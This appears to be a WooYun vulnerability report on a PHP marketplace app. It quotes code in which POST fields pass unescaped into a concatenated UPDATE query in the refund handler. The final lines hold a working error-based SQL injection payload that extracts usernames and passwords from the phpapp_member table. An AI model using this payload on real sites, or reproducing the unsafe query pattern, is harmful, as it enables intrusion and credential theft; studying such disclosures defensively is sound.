WooYun.org

function POSTArray(){
         $postarr=array();
		 if(is_array($_POST)){
			  
			   foreach($_POST as $key=>$value){
				   
					  $keyarr=explode('_',$key);
					  
					  $count=count($keyarr);
					  	  
					  if($count>1){
						    $keyname='';
					        for($i=0;$i<$count-1;$i++){
							     if($keyname){
							          $keyname.='_'.$keyarr[$i];
								 }else{
									  $keyname=$keyarr[$i];
						 		 }
					        }
						   
						   
						    if($keyarr[$count-1]=='s'){	
							     $isajax=empty($_SERVER['HTTP_X_REQUESTED_WITH']) ? '' : $_SERVER['HTTP_X_REQUESTED_WITH'];
								
								 if($isajax=='XMLHttpRequest'){
					                    $value=$this->ConvertStr($value);
									 
								 }
							
								 $postarr[$keyname]=$this->str($value,0,1,0,0,0,1);
							}elseif($keyarr[$count-1]=='d'){
								 $postarr[$keyname]=intval($value);
							}elseif($keyarr[$count-1]=='f'){
								 $postarr[$keyname]=floatval($value);
							}else{
								 $postarr[$key]=$value;
							}		
						   
						   
					  }else{
						   $postarr[$key]=$value;
					  }
					  
					  
			   }      
		 }
		
		 return $postarr;
	}

if($consumearr['cid']>0){	
					   $sellerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[selleruid]' ");
					   $buyerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[buyeruid]' ");                       
					   if($this->uid!=$consumearr['buyeruid']){				
							  $this->Refresh('对不起!您没有权限操作!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid.'&rid='.$this->rid.'&op=1');
					   }					 
					   if($this->POST['submit']){		
							  if($this->IsSQL('refund_money',"WHERE cid='$this->cid' AND process=3")){
									  $this->Refresh('该订单您已经申请退款并处理过了!',SURL.'/member.php?app='.$this->app.'&action=1');
							  }
						      if($consumearr['process']!=6){
						            $this->POST['money']=floatval($this->POST['money']);	
									$this->POST['content']=$this->str($this->POST['content'],0,0,0,1,0,0,1);	
									$consumemoney=$consumearr['amount']+$consumearr['fee'];
									if($this->POST['money']> $consumemoney){
										    $this->Refresh('对不起您申请的退款金额不能大于 '.$consumemoney.' 元！',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid);
									}
						   			include_once(Core.'/class/photo_upload_phpapp.php');
									 if($_FILES['buyerphoto']['size']>0){
										   $photoid=empty($refund['buyerphoto']) ? 0 : intval($refund['buyerphoto']);
										   $upload=new UploadPhoto($_FILES['buyerphoto'],$photoid);
										   $photoid=$upload->CheckUpload();
									 }else{
										   if(!empty($refund['buyerphoto'])){
												 $photoid=intval($refund['buyerphoto']);
										   }
									 }
$this->Update('consume',array('refundmoney'=>$this->POST['money'],'process'=>4),array()," WHERE cid='$consumearr[cid]'"); 
								   $edittxt='';
								   if($this->rid>0){
									    $edittxt='修改了';
								   }
						  		   if($this->rid>0){
$this->Update('refund_money',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");
									 }

//表名, 修改数组,添加合并数组,条件
	function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){		 
		 $setarray=array_merge($setarray,$addarr);		 
		 $deletearr=$this->GetMysqlFieldArray($tablename);		 
		 if($setarray){
			  $sqlset='';
			  foreach($setarray as $key=>$value){
			        $_key=strtolower($key);
				    if(isset($deletearr[$_key])){
				           $value=$this->dataTypeConvert($value,$deletearr[$_key]);
				    	   if($sqlset){
							    $sqlset.=',`'.$_key.'`=\''.$value.'\'';
						   }else{
							    $sqlset='`'.$_key.'`=\''.$value.'\'';
						   }					
					}
			  }			  
			  $query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif);
	          //exit($query);
			  return $this->MysqlQuery($query);			  
		 }else{
			  return false;
		 }	      
	}

function dataTypeConvert($data,$type){
        switch($type){
            case 'int':
                $data=intval($data);
                break;
            case 'real':
                $data=doubleval($data);
                break;
            case 'timestamp':
                $data=intval($data);
                break;
            case 'string':
            case 'year':
            case 'date':
            case 'time':
            case 'datetime':
            case 'blob':
            default:
                //$data=intval($data);
                break;
        }
        return $data;
    }

cid=1&submit=2&sellercontent=test' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat
(0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'